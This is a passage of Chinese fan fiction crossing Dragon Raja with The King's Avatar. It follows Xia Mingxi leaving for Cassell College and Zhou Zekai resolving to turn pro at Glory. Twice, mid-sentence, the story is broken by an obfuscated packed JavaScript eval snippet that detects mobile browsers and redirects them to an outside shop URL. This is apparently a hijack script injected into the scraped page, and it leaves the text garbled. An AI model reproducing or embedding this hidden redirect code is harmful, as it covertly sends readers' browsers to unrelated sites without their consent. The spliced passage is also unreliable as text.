手机屏幕的光在黑暗里亮得刺眼,她蜷在被子里,手指机械地滑动相册。一张张照片跳出来,全是周泽楷。周泽楷在球场上挥汗如雨,周泽楷咬着奶茶吸管对她傻笑,周泽楷在图书馆趴着睡着,侧脸压出了红印。还有那张在海边的合影,两个人晒得黑乎乎的,笑得见牙不见眼。 她看着看着,眼泪就无声地淌下来,顺着脸颊流进枕头里,湿了一片。她想擦,手却抬不起来,就任由眼泪流着,好像这样就能把心里那股闷痛冲淡一点。可眼泪越流,心口越疼,像有人用手在里头攥着,一点点收紧。 后半夜,她坐起来,开始删东西。社交账号一个个点开,动态一条条清空,聊天记录一页页删除。每删一条,手指就抖一下,好像不是在删数据,是在割自己身上的肉。删到和周泽楷的聊天框时,她停了好久,眼睛盯着屏幕,直到屏幕自动暗下去,又按亮,再暗下去。最后她闭了闭眼,深吸一口气,点了删除。 然后她注销了账号。 做完这一切,天已经蒙蒙亮了。夏明晞掀开被子下床,光脚走到窗边。外面天色灰白,远处的楼宇轮廓渐渐清晰,像从水里浮出来的剪影。她站了一会儿,然后转身开始收拾行李。 行李箱不大,她只带了必要的衣服和日用品。几件T恤,两条牛仔裤,几件内衣,洗漱用品,还有那副备用美瞳。收拾到最后,她拉开抽屉,拿出那个铁盒子。打开,匕首躺在里面,黑鞘冰凉。她盯着看了几秒,伸手把它拿了出来,握在手里。刀不重,但握久了手心会出汗。她把它塞进行李箱最底层,用衣服盖好,然后合上了箱子。 拉链拉上的声音很响,在安静的房间里格外刺耳。 母亲起得很早,正在厨房煮粥。听见她拉箱子的声音,母亲走出来,靠在门框上看她。夏明晞没抬头,低声说:“我收拾好了。” “嗯。”母亲应了一声,声音有点哑,“粥快好了,吃了再走。” “好。” 早餐吃得很安静。白粥熬得稠稠的,配一碟榨菜,很简单。夏明晞喝得很慢,好像这样时间就能过得慢一点。母亲坐在对面,什么也没吃,只是看着她喝。 吃完,夏明晞洗碗。她仔细地冲洗每一个碗,冲得干干净净,擦干,放回碗柜里。碗柜门关上的瞬间,她心里空了一下,好像关上的不是碗柜,是她过去的十八年。 “我出去走走。”她对母亲说。 母亲点点头:“早点回来,别误了飞机。” “知道。” 她没带行李,只背了个小包,出了门。清晨的空气很清新,带着点凉意,吸进肺里很舒服。小区里已经有老人在打太极拳了,动作缓慢,像慢放的电影。她看了两眼,然后转身朝学校走去。 学校大门关着,暑假期间不开放。她站在栅栏外面,手扶着冰凉的铁栏杆,往里看。操场空荡荡的,跑道在晨光下泛着暗红色。教学楼窗户紧闭,像一排排沉默的眼睛。她想起和周泽楷一起在这里上体育课,跑八百米时她总是落在后面,周泽楷会放慢速度陪她跑,一边跑一边喘着气说“加油啊夏明晞”。 她站了很久,直到腿有点麻了,才转身离开。 接着去了那家书店。书店还没开门,卷帘门拉着,门口摆着的打折书架上盖了防雨布。她和周泽楷经常来这里,不是为了买书,是为了蹭空调。夏天的时候,他们一待就是一下午,各自翻书,偶尔小声交流两句,或者什么也不说,就那样并肩坐着。 她摸了摸书架边缘,手指沾了一层灰。 最后去了公交站台。站台上空无一人,只有几张过期了的广告海报在风里微微晃动。她和周泽楷每天放学都在这里等车,有时候车来得慢,他们就靠在栏杆上聊天,聊作业,聊老师,聊以后想考什么大学。周泽楷总说想去北京,说那里机会多。她当时笑着说“那我也去北京”,周泽楷就眼睛亮亮地说“好啊,那我们一起去”。 现在她去不了北京了。她要去一个更远的地方,远到周泽楷想象不到的地方。 站台旁边的梧桐树上,知了开始叫了,一声接一声,聒噪得很。夏明晞抬头看了看树,叶子绿得发亮,在阳光里闪闪发光。她看了很久,然后转身往回走。 回家路上,她走得很慢,一步一步,像要把这条走了十八年的路刻进脑子里。路过早餐摊,老板娘正在收摊,看见她,笑着打招呼:“明晞这么早啊?” 她点点头:“阿姨早。” “暑假也不多睡会儿?” “睡不着。” “年轻人就是精力好。”老板娘一边擦桌子一边说,“对了,前几天看见周泽楷那孩子,还问起你呢,说你最近怎么没出来玩。” 夏明晞脚步顿了顿,喉咙有点发紧。她勉强笑了笑:“最近有点忙。” “忙点好,忙点好。”老板娘没察觉她的异样,自顾自地说,“你们这些孩子啊,一眨眼就长大了,以后各奔东西,想见都难咯。” 夏明晞没接话,低头快步走开了。 回到家,母亲已经帮她检查了一遍行李,又往箱子里塞了几包饼干和一瓶水。“路上饿了吃。”母亲说,声音很平静,但眼睛红红的。 夏明晞点点头:“妈,你别哭了。” “没哭。”母亲别过脸,用手背擦了擦眼睛,“风大,眯眼了。” 夏明晞没拆穿她。她走过去,抱住母亲。母亲的身体很瘦,抱在怀里能感觉到骨头的形状。她把脸埋在母亲肩头,闻着母亲身上熟悉的洗衣粉味道,鼻子又开始发酸。 “妈,我会常打电话的。”她闷声说。 “嗯。”母亲拍拍她的背,“到了那边,照顾好自己。别逞强,有事就找老师。你爸爸当年……当年也是有人照顾的。” “我知道。” 她们抱了很久,直到手机闹钟响了,提醒该出发了。夏明晞松开手,提起行李箱。箱子不重,但她觉得手臂发沉。 母亲送她到楼下,没再往外送。“就送到这儿吧。”母亲说,声音有点抖,“我看着你走。” 夏明晞点点头,拖着箱子往外走。走了几步,她回头看了一眼。母亲还站在单元门口,手扶着门框,站得笔直,像一尊雕塑。晨光照在她脸上,眼角亮晶晶的。 夏明晞转过头,加快脚步走出了小区。 出租车已经在门口等着了。司机是个中年大叔,很健谈,一边开车一边问她去哪儿,是不是去上学。夏明晞含糊地应着,眼睛看着窗外。街道、店铺、行人,一切都在飞速后退,像电影里快进的镜头。 机场很远,车开了一个多小时。一路上夏明晞都没说话,只是看着窗外。司机见她没兴致聊天,也就闭了嘴,打开了收音机。电台里在放老歌,旋律很熟悉,但她想不起名字。 到机场时,离约定的时间还有半小时。夏明晞付了钱,拖着箱子走进航站楼。大厅里人来人往,嘈杂得很,各种语言混杂在一起,像一锅煮沸的粥。她站在入口处,有点茫然,不知道该去哪儿等。 正犹豫着,手机响了。是个陌生号码,她接起来。 “夏明晞同学!”电话那头传来一个兴奋的男声,中文说得怪腔怪调,“我是古德里安!你到了吗?我在国际出发大厅,靠窗的那排椅子这里!穿棕色西装,很好认!” 夏明晞抬头看了看指示牌,朝国际出发的方向走去。穿过人群,她远远看见靠窗的椅子上坐着两个人。一个是个矮胖的中年男人,果然穿着棕色西装,头发梳得一丝不苟,正手舞足蹈地说着什么。旁边坐着一个女孩,看上去和她年纪相仿,黑发扎成高马尾,穿着简单的白T恤和牛仔裤,正托着下巴听男人说话,脸上带着笑。 夏明晞拖着箱子走过去。古德里安先看见她,立刻站起来,热情地挥手:“夏明晞!这里这里!” 他声音很大,引得旁边几个人侧目。夏明晞有点尴尬,加快脚步走过去。 “你就是夏明晞吧!”古德里安握住她的手,用力晃了晃,“长得真像你父亲!尤其是眼睛……”他凑近看了看,然后拍拍她的肩,“到了学校,我们会教你很多东西,比如怎么控制黄金瞳,和龙族的知识。” 夏明晞被他晃得有点晕,抽回手,小声说:“教授好。” “好好好!”古德里安笑得眼睛眯成一条缝,“来,给你介绍一下,这位是苏茜,也是这一届的新生,比你先到一会儿。” 旁边的女孩站起来,对夏明晞笑了笑。她笑起来很阳光,眼睛弯弯的,“你好,我叫苏茜。”她伸出手,“听教授说了,你爸爸以前也是卡塞尔的,真厉害。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“紧张吗?”苏茜歪着头看她,“我刚接到通知的时候,紧张得三天没睡好觉。后来一想,反正都这样了,不如去看看,说不定还挺好玩的。” “你不怕吗?”夏明晞问。 “怕啊。”苏茜很坦率,“但怕有什么用?该来的总会来。而且……”她笑了笑,眼睛亮晶晶的,“你不觉得这很酷吗?像电影里的超级英雄,虽然我们可能是要打怪兽的那种。” 夏明晞看着她灿烂的笑容,心里那股沉甸甸的感觉稍微轻了一点。至少,她不是一个人。 广播里开始通知他们的航班登机了。古德里安站起来,提起公文包:“走吧,女士们,我们的冒险要开始了。” 苏茜跳起来,帮夏明晞拉箱子。三人一起朝登机口走去。排队的时候,夏明晞回头看了一眼航站楼。大厅里灯火通明,人来人往,每个人都行色匆匆,奔向各自的目的地。 她想起母亲,想起周泽楷,想起学校,想起那条走了十八年的路。 然后她转过头,跟着队伍向前走去。 机舱里很宽敞,古德里安帮她们放好行李,然后坐在了前排。夏明晞和苏茜并排坐着,靠窗的位置给了夏明晞。她系好安全带,看着窗外。地面工作人员在做最后的检查,舷梯车缓缓开走。 飞机开始滑行,速度越来越快,然后猛地一抬,冲上天空。失重感传来,夏明晞抓紧了扶手。 地面越来越远,城市缩小成一片闪烁的光点,最后被云层遮住,什么也看不见了。 苏茜碰了碰她的胳膊:“喂,你看。” 夏明晞转过头,苏茜递过来一副耳机。“听歌吗?我下载了好多,适合飞行的时候听。” 夏明晞接过一只耳机,塞进耳朵里。音乐响起来,是首轻快的英文歌,旋律很抓耳。她靠回椅背,闭上眼睛。 耳机里,歌手唱着关于远行和勇气的歌词。舷窗外,云海在月光下泛着银色的光,无边无际,像另一个世界。 飞机继续向上攀升,穿过云层,驶向黑夜深处。夏明晞睁开眼睛,看着窗外漆黑的夜空,星星点点的光在遥远的地方闪烁。 她不知道前方有什么在等着她。 但她知道,她已经没有回头路了。 7. 职业选手 周泽楷坐在奶茶店靠窗的位置,面前的奶茶一口没动,杯壁上的水珠一颗颗滚下来,在桌面上洇开一小片湿痕。他低着头,手指无意识地抠着桌面的木纹。 对面的椅子上坐着夏明晞的母亲。她来得比约定的时间早,周泽楷到的时候,她已经在了,面前也放着一杯奶茶,同样没动。她看见周泽楷进来,对他点了点头,脸上没什么表情,但眼神里有一种周泽楷看不懂的复杂情绪。 “阿姨。”周泽楷坐下,声音有点哑。他这几天都没睡好,黑眼圈很明显,眼睛里满是血丝。 “小周。”夏明晞的母亲开口,声音很轻,带着点疲惫,“谢谢你能来。” 周泽楷没接话,只是看着她,等她说下去。他知道她来是为什么,无非是替夏明晞解释,或者道歉,或者别的什么。但不管是什么,他都不太想听。听了又能怎么样?夏明晞已经走了,拉黑了他,说了那样的话。解释再漂亮,也改变不了事实。 夏明晞的母亲深吸了一口气,双手交叠放在桌面上,背挺得很直。周泽楷注意到她的手在微微发抖,虽然她努力控制着。 “明晞她……”她开口,又停了一下,像是在斟酌词句,“她有苦衷。” 周泽楷扯了扯嘴角,没笑出来。“什么苦衷?”他问,声音很平,听不出情绪,“阿姨,我不是小孩子了,我知道什么是苦衷,什么是借口。” “不是借口。”夏明晞的母亲摇摇头,眼睛直直地看着他,“是真的。明晞她……她不是故意伤害你的。她比谁都难受,那天回来哭了一晚上,眼睛都肿了。” 周泽楷的手指顿住了。他想起那天在奶茶店,夏明晞低着头不敢看他的样子,想起她说“我们以后不要联系了”时颤抖的声音。他心里某个地方抽了一下,但很快又硬了起来。 “那她为什么不说?”他问,声音不自觉地提高了一点,“有什么苦衷不能跟我说?我们认识这么多年了,我是什么样的人她不清楚吗?我会不理解她吗?” 奶茶店里的几个客人朝这边看过来。周泽楷意识到了,压低声音,但语气里的那股憋闷和委屈还是压不住:“阿姨,她连个解释都不给我,就直接拉黑我,说那些话。您知道我接到她消息说以后不要联系了的时候,我心里什么感觉吗?” 他停住,说不下去了。那种感觉他形容不出来,像胸口被人狠狠揍了一拳,闷得喘不过气,又像整个人被扔进冰水里,从头凉到脚。 夏明晞的母亲沉默了很久。窗外有车开过,喇叭声短促地响了一下,又远去。店里的音乐还在放,还是那首悲伤的情歌。 “有些事,她不能告诉你。”最后她轻声说,“不是不想,是不能。知道了对你没好处,反而可能会让你陷入危险。” “危险?”周泽楷愣住了,皱起眉头,“什么危险?阿姨,您到底在说什么?” 夏明晞的母亲摇摇头,没解释。她端起奶茶喝了一口,动作很慢,像是在拖延时间。“我只能告诉你,明晞去的地方很特殊,她要面对的事情也很特殊。她做出那个决定,不是因为讨厌你,不是因为想开始新生活,而是……而是想保护你。” 她放下杯子,看着周泽楷,眼神很认真:“她害怕把你卷进去,害怕你因为她受到伤害。所以她宁愿让你恨她,让你觉得她是个无情的人,也要把你推开。” 周泽楷盯着她,试图从她的表情里找出说谎的痕迹。但他找不到。夏明晞的母亲眼神很坦然,也很疲惫,那种疲惫是从骨头里透出来的,装不出来。 “保护我?”他重复了一遍,声音干涩,“从什么里面保护我?” “从一些你不应该知道的东西里。”夏明晞的母亲说得很模糊,但语气很坚定,“小周,我知道你很难过,很生气,但请你相信,明晞她心里比谁都难受。她做出这个决定,不是轻易的,是想了很久,挣扎了很久的。” 周泽楷没说话。他低下头,看着自己摊开在桌面上的手。手指修长,骨节分明,是一双很适合弹钢琴的手,但他从来没学过。夏明晞说过,他的手好看。 他想起很多事。想起夏明晞笑着把耳机塞进他耳朵里,说这首歌好好听你快听。想起夏明晞体育课跑不动了,抓着他的胳膊喘气说周泽楷你慢点。想起夏明晞在他家打游戏,输急了就抢他的手柄说让我来。想起夏明晞生日那天,他送了她一条手链,她戴在手腕上,笑得眼睛弯弯的。 那么多回忆,那么多细节,现在都变成了一把把钝刀子,一下一下往他心里捅。 “阿姨。”他抬起头,眼睛红红的,“就算您说的是真的,就算她有苦衷,那她为什么不能相信我一次?为什么觉得我不能跟她一起面对?我看起来就那么没用吗?” 他的声音又抖起来了,这次他没压着,就让那股委屈和伤心透出来:“我们一起长大,这么多年了,我是什么样的人她不知道吗?我会因为什么危险就丢下她吗?我会因为害怕就躲开吗?” 夏明晞的母亲看着他,眼神里闪过一丝不忍。她伸出手,似乎想拍拍他的手背,但手伸到一半又缩了回去。 “她不是不相信你。”她轻声说,“她是不敢赌。那件事……如果赌输了,代价太大了,她承担不起。” 周泽楷闭上眼睛,深深吸了一口气,又缓缓吐出来。店里空调开得很足,但他觉得浑身发冷,那种冷是从心里透出来的,怎么也捂不热。 “我知道了。”他说,声音很平静,平静得可怕。 夏明晞的母亲愣了一下,似乎没想到他这么容易就接受了。“小周……” “阿姨,谢谢您告诉我这些。”周泽楷站起来,“以后……以后也不用再跟我说这种事了。” 他说完,转身就走,脚步很快,几乎是冲出了奶茶店。 门上的风铃叮叮当当地响,声音很清脆,但听在周泽楷耳朵里,像是一种嘲笑。他站在店门口,外面的阳光很刺眼,白晃晃的,照得他眼睛生疼。他抬手挡了一下,眯起眼睛,觉得整个世界都在旋转。 夏明晞的母亲看着他离去的背影,嘴唇动了动,最终什么也没说,只是长长地叹了口气。 他站在人行道上,有些茫然地看着来来往往的人群。每个人都在往前走,都有自己的方向,只有他不知道该去哪。 他就这么漫无目的地走着,脚步很慢,很沉。路过一家便利店,他进去买了瓶水,拧开喝了一口,水很冰,冰得他喉咙发痛。他继续走,路过书店,路过花店,路过音像店,什么都没进去,只是走。 走了不知道多久,他路过一家电器城。巨大的玻璃橱窗里摆满了各式各样的电视机,大部分都开着,播放着不同的节目。他本来没打算看,但眼角余光瞥到一台电视上的画面时,脚步不由自主地停了下来。 那是一场比赛。 屏幕上,绚烂的特效炸开,两个角色在狭窄的地形里高速移动,刀光剑影,技能交错。解说员的声音激动地传来:“百花缭乱!是百花缭乱的乱雷!张佳乐选手这一波操作太漂亮了!但是叶秋的一叶之秋没有退!龙牙接天击!命中!漂亮!” 周泽楷站在那里,眼睛一眨不眨地盯着屏幕。 那是荣耀。 荣耀第三赛季总决赛,嘉世对百花。他当然知道这场比赛,这几天新闻铺天盖地都是,但他一直没心情看。现在就这么偶然地,毫无预兆地,撞进了他的视线里。 屏幕上,一叶之秋和百花缭乱在废墟地图里缠斗。战斗法师的战矛舞出残影,弹药师的手雷炸出烟花,光影交错,快得让人眼花缭乱。但周泽楷看得很清楚,每一个技能释放的时机,每一个走位的角度,每一次招架的精准度。 他也在玩荣耀。从初中就开始玩,玩了好几年。夏明晞不玩,说这游戏太无聊了,就是打打杀杀,但她经常坐在旁边看他玩。他会给她讲解技能,讲解战术,讲解每个职业的特点。夏明晞总是听得心不在焉,一会儿玩手机,一会儿吃零食,但每次他打出精彩操作时,她都会抬起头,眼睛亮亮地说“厉害啊周泽楷”。 他还记得有一次,他玩神枪手,在竞技场里一挑三赢了,夏明晞拍手说:“你这水平,可以去打职业了吧?” 他当时笑着说:“哪有那么容易。” 但现在,看着屏幕上的叶秋和张佳乐,看着他们那种级别的操作,看着台下观众山呼海啸的呐喊,看着冠军奖杯在聚光灯下闪耀的光芒—— 周泽楷的心脏突然猛烈地跳动起来。 职业选手。 如果他成了职业选手,如果他也站上那个舞台,如果他也拿到冠军,如果他的名字也被人记住…… 那夏明晞会看到吗? 会后悔吗? 会回来找他吗? 这个念头像野草一样疯长,瞬间占据了他整个大脑。他站在那里,手紧紧握着矿泉水瓶,塑料瓶身被他捏得咯吱作响。 他可以做到。他知道自己可以。他的技术不差,甚至可以说很好。区里的排名他一直靠前,公会里的人都叫他大神。他只是没认真想过走职业这条路,因为觉得太遥远,太不切实际。 但现在,还有什么比这更不切实际的吗?夏明晞去了一个他不知道的地方,做了他不知道的事,切断了一切联系。他还能做什么?继续上学,考大学,毕业工作,过普通人的生活? 那夏明晞呢?她会过什么样的生活?她会遇到什么样的人?她会记得他吗?还是会慢慢忘记,像忘记一个普通的中学同学? 不。 周泽楷的眼睛里突然燃起了光。那种光很亮,很炽热,像是要把这些天所有的迷茫和痛苦都烧成灰烬。 他要让她看见。 他要变得强大,变得耀眼,变得让她无法忽视。如果她去了很远的地方,那他就站到更高的地方,高到她一抬头就能看见。 如果要曝光度,以他的条件,当偶像也许更合适。他长得不差,学校里有女生偷偷给他递过情书。但他不擅长站在聚光灯下唱歌跳舞,不擅长对着镜头说漂亮话。他连班级聚会去KTV都只坐在角落,听夏明晞唱,看她笑。 但荣耀不一样。 荣耀只需要手速,需要操作,需要战术头脑。他不需要说话,不需要表演,只需要赢。 赢就够了。 想到这,周泽楷再也按捺不住。他猛地转身,几乎是跑着往家冲。矿泉水瓶掉在地上,他看都没看一眼,只是拼命地跑,像背后有什么东西在追他,又像前面有什么东西在等他。 风在耳边呼啸,街景飞速后退。他跑过熟悉的路口,跑过常去的书店,跑过和夏明晞一起等车的站台。一切都在后退,像要把他甩在过去。 但他没有停。 一路跑回家,他猛地推开门,冲进客厅。母亲正在沙发上看电视,看见他这副样子,吓了一跳,连忙站起来:“小楷?你怎么了?跑这么急?” 周泽楷没回答,只是喘着粗气,胸口剧烈起伏。他脸上有汗,头发湿漉漉地贴在额头上,但是他的眼神却是十分坚定的。 “妈。”他开口,声音因为奔跑而断断续续,但很坚定,“我……我想好了。” 母亲担忧地看着他:“想好什么了?” “我想去打电竞。”周泽楷一字一句地说,每个字都咬得很重,“当职业选手,打荣耀。” 母亲愣住了,张了张嘴,好半天没说出话。她看着儿子,看着他脸上那种近乎狂热的决心,看着他眼里燃烧的光,一时不知道该说什么。 “你……”母亲迟疑着开口,“你怎么突然想这个?你不是说要考大学吗?” “我想好了。”周泽楷重复道,语气不容置疑,“我要去打职业。我要赢,要拿冠军。” 他说得那么肯定,那么急切,像生怕晚一秒就会改变主意。母亲看着他,突然明白了什么。这些天周泽楷的消沉,他的沉默,他的失眠,她都看在眼里。她也知道夏明晞走了,知道两个孩子之间出了事。 “是因为明晞吗?”母 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17088448|195413||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 亲轻声问。 周泽楷没否认,只是说:“我要让她看见。” 母亲沉默了。她走到儿子面前,伸手理了理他汗湿的头发,动作很温柔。周泽楷没有躲,只是看着她,眼神固执而坚定。 “你知道这条路多难走吗?”母亲问,“职业选手不是那么好当的,竞争很激烈,淘汰率很高。而且你还在上学……” “我可以休学。”周泽楷打断她,“先试一年,如果不行,我再回来读书。” “那如果行呢?” “如果行,我就一直打下去。”周泽楷说,声音里有一种近乎偏执的执着,“打到不能再打为止。” 母亲看着他,看了很久。最后她叹了口气,点点头:“好。” “妈,你同意了?” “我同不同意不重要,重要的是你自己想清楚。”母亲拍拍他的肩,“但既然你决定了,妈就支持你。不过你得答应我,不管结果怎么样,都不要后悔。” “我不后悔。”周泽楷摇着头说,语气斩钉截铁。 他从来没这么确定过一件事。以前选文理科时犹豫过,填志愿时犹豫过,但这次,他没有一丝一毫的犹豫。 他转身冲回自己的房间,砰地关上门。房间里很乱,书桌上堆满了复习资料和试卷,墙上贴着理想大学的招生简章。他走过去,一把扯下那些简章,揉成一团扔进垃圾桶。 然后他打开电脑,登录荣耀。 熟悉的登录界面,熟悉的背景音乐。他输入账号密码,角色出现在主城。那是一个神枪手,手里握着双枪。 他站在主城的广场上,看着周围来来往往的玩家。有人摆摊,有人组队,有人PK,一切都和往常一样。 但对他来说,一切都不一样了。 他打开竞技场界面。匹配,开始。 对手是个战斗法师,装备不错,技术也不差。但周泽楷打得很凶,凶得有些不像他平时的风格。他不再保守,不再试探,一上来就抢攻,技能像不要钱一样往外甩。 神枪手的子弹在空中划出耀眼的轨迹,精准地命中对手的每一个破绽。走位,闪避,反击,每一个操作都快得惊人。 对手很快败下阵来。 胜利的标志跳出来,周泽楷没有停留,立刻开始下一场。 一场,又一场。 他不知道自己打了多少场,只知道不停地赢。手在键盘上飞舞,鼠标在鼠标垫上滑动,屏幕上的角色在他的操控下变成了一道银色的闪电。 汗水从额头滑落,滴在键盘上。但他不在乎,只是不停地打,不停地赢。 直到母亲敲门喊他吃饭,他才停下来。 走出房间时,天已经黑了。餐厅的灯很亮,饭菜的香味飘过来。父亲也下班回来了,正坐在餐桌前看报纸。 吃饭的时候,周泽楷对父亲说了自己的想法。 父亲沉默了一会儿,放下筷子,看着他:“你真的想好了?” “想好了。”周泽楷说。 父亲点点头,倒也没有反对:“那行。我有个朋友在电竞俱乐部工作,我帮你问问,看有没有试训的机会。” “谢谢爸。” “先别谢。”父亲摆摆手,“能不能成,还得看你自己。” “我知道。” 晚饭吃得很安静,但气氛很平和。父母没有反对,没有质疑,只是平静地接受了他的决定。周泽楷知道,这是他们给他的支持,也是他们给他的空间。 吃完饭,他主动帮忙洗碗。水哗哗地流,他仔细地擦着每一个盘子,擦得很认真。 洗好碗,他回到房间,没有立刻上游戏,而是坐在书桌前,拿出纸和笔。 他开始写计划。训练时间,作息安排,饮食控制,一切都写得清清楚楚。他查了职业选手的训练量,查了各大战队的资料,查了荣耀职业联赛的赛制。 写到最后,他在纸的右下角写了一行小字。 “让她看见。” 字写得很用力,笔尖几乎要戳破纸张。 写完,他把纸折好,放进抽屉里。然后他重新打开电脑,但没有立刻登录游戏,而是打开了浏览器。 他搜索:荣耀职业联赛,青训营,试训要求。 一条条信息跳出来,他一条条仔细看。年龄要求,段位要求,角色要求,一个个条件列得清清楚楚。他对照着自己的情况,一条条核对。 年龄够,段位够,角色……他的神枪手装备很好,胜率也很高。 应该没问题。 他关掉浏览器,重新登录游戏。这次他没有去打竞技场,而是打开了训练模式。 他需要一个目标。一个具体的,可量化的目标。 就定在国服前一百吧。 他这么想着,开始了枯燥的基础训练。走位,瞄准,连招,一遍又一遍,不知疲倦。 窗外的夜色越来越深,城市的灯火一点点亮起,又一点点熄灭。只有他的房间里,键盘的敲击声和鼠标的点击声一直没有停。 直到凌晨三点,他才停下来。手很酸,眼睛很涩,但他不觉得累。 他站起来,走到窗边,推开窗户。夜风涌进来,很凉,吹散了他身上的热气。 他看向窗外,看向远方的夜空。天空很黑,没有星星,只有一层薄薄的云,在月光下泛着灰白的光。 他不知道夏明晞在哪里,不知道她在做什么,不知道她会不会也在看这片天空。 但他知道,从现在开始,他要走自己的路了。 一条艰难的路,一条孤独的路,一条不知道能不能走通的路。 但他会走。 一直走,走到她看见为止。 周泽楷深吸一口气,又缓缓吐出来。夜风吹在脸上,带着凉意,也带着某种说不清道不明的决心。 他关好窗户,回到电脑前,关掉游戏,关掉电脑。 然后他躺到床上,闭上眼睛。这一次,他很快就睡着了。 8. 一年 夏明晞坐在图书馆靠窗的位置,手里拿着一本厚重的《龙族谱系学导论》。密密麻麻的文字和图表,讲述着那些古老而危险的存在。来到这所学校已经一年了,她有时仍会恍惚,觉得眼前的一切都像一场过于真实的梦。可指尖抚过书页粗糙的质感,耳畔是图书馆特有的、混合着旧纸与灰尘的静谧气息,又无时无刻不在提醒她,这是真的。 一年前那个拆开黑色信封的傍晚,仿佛已是上辈子的事。 3E考试的结果毫无悬念——A级。古德里安教授得知消息时,高兴得几乎要跳起来,那张圆脸上每一道皱纹都洋溢着兴奋:“我就知道!夏文渊的女儿,怎么可能不是A级!而且你看,血统检测显示你的言灵倾向……非常罕见,非常强大!” 夏明晞接过那份印着烫金“A”字的评定书,心里却没什么波澜。她只是很平静地想,哦,和爸爸一样。视线落在言灵倾向预测那一栏。那里写着一个她既陌生又隐隐觉得有些熟悉的词——雷池。控制雷电的攻击型言灵,评级预测为高危。教授解释说,这并非直接遗传自她的父亲,而是她自身血统特性与某些隐性基因结合的表达,属于一种罕见的变异。她的父亲夏文渊的言灵是更偏重速度与精准的刹那。 “雷池……”她轻声念出这个名字,指尖无意识地摩挲着那个词。脑海中似乎有极其模糊的电流感一闪而过,快得抓不住。 和她同届获得A级评定的新生还有几个,让她略感意外的是,其中竟有两位同样是中国人。 一个叫陈墨瞳,大家喊她诺诺。一头红发像燃烧的火焰,性格更是张扬跳脱得让人头疼。她现在是夏明晞的室友,两人住一个双人间。 诺诺入学第一天就干了件轰动全校的事。她不知道从哪儿弄来一辆红色的摩托车,在校园里横冲直撞,引擎轰鸣声响彻整个校园,险些撞翻路边的装饰石墩。经过教学楼时,她一个急刹停住,摘下头盔甩了甩头发,对着楼上大喊:“喂!有没有人愿意带我去参观芝加哥?” 然后一个金发的高个子男生就从二楼窗户直接跳了下来。 是真的跳,不是走楼梯。他从至少五六米高的地方一跃而下,稳稳落地,膝盖都没弯一下。他拍了拍手上的灰,走到诺诺面前,说:“我可以。” 那是恺撒·加图索,意大利人,加图索家族的继承人,一看就知道有钱得离谱。他长得很好看,金发碧眼,五官深邃,身材挺拔,走到哪里都是焦点。但性格也张扬得离谱,和诺诺简直是天生一对,也是诺诺现在的男朋友。两人凑在一起,简直是把“无法无天”四个字写在了脸上。那天他们真的翘掉了所有新生指导,骑着摩托绝尘而去,直到深夜才带着一身夜风与尘土回来,理所当然地被罚打扫了整整一星期的训练场。这件事在校园论坛上被津津乐道了很久,夏明晞第一次看到帖子时,忍不住对着电脑屏幕翻了个白眼,低声嘟囔了一句:“简直有病。” 结果被正好推门进来的诺诺听个正着。诺诺不但不恼,反而大笑着扑过来搂住她的脖子:“明晞你也太可爱了!生活嘛,就是要这样才有趣!” 夏明晞被她勒得喘不过气,她翻了个白眼挣扎着推开她,心里却莫名地,对这样鲜活热烈的生命姿态,生出一丝自己都未察觉的羡慕。 另一位A级中国学生叫楚子航。与诺诺和恺撒的耀眼夺目截然不同,他安静得近乎沉默,黑发黑眼,面容冷峻,神情总是淡淡的,很少与人交谈,被私下里称作“万年冰山”。但他的实力毋庸置疑,各项训练成绩永远名列前茅,那种专注与精确,近乎苛刻。而且,他还是恺撒的死对头。 但让夏明晞意外的是楚子航的眼睛。有一次在训练场,楚子航的美瞳不小心掉了,她无意中瞥见了他的真实瞳色——是金色的,纯粹的金色,像熔化的黄金,在灯光下泛着冷冽的光。那双眼睛让人看了心悸,不是害怕,而是某种说不清道不明的压迫感,仿佛被什么古老而威严的存在注视着。 后来她才知道,楚子航拥有永不熄灭的黄金瞳。那是血统极度纯正的标志,但也意味着他必须时刻戴着美瞳,否则会引起恐慌。她在卡塞尔学院学习后,已经学会怎么控制关闭自己的黄金瞳了。 苏茜,夏明晞在火车上认识的那个女孩,因为崇拜楚子航,加入了狮心会。那是卡塞尔学院最古老的学生社团之一,楚子航是这一届的会长。 至于夏明晞自己,她原本没打算加入任何学生社团。但诺诺的缠功实在了得,天天在她耳边念叨:“来嘛来嘛,学生会多好玩!恺撒是会长,有他在,保证没人敢欺负你!每周还有超棒的派对,无限量供应的点心饮料,还能看到各种风格的帅哥,多养眼!” 夏明晞被她念得耳朵起茧,又被她抱着胳膊晃得头晕,终于在某天下午叹了口气,屈服了:“行了行了,我去,我去还不行吗?” 诺诺立刻欢呼一声,跳起来在她脸上响亮地亲了一口:“太好了!这才对嘛!” 于是夏明晞的名字就被登记在了学生会的名册上。虽然她大部分时间依旧泡在训练场和图书馆,很少参加那些热闹的社交活动,但诺诺总有办法把她拖出去,美其名曰“防止她在宿舍发霉长蘑菇”。 这一年里,夏明晞也断断续续了解了许多关于父亲夏文渊的事。她从档案室尘封的卷宗里,从古德里安教授时而激动时而唏嘘的讲述中,拼凑出一个更清晰的形象:卡塞尔学院1998级优秀毕业生,评级A,言灵是刹那,一种能极大提升使用者速度的能力。执行部记录在案的数次任务都完成得干净漂亮,直到2006年,在一次追踪疑似龙类生物的行动中,与整支小队一同失踪,最终被推定牺牲。 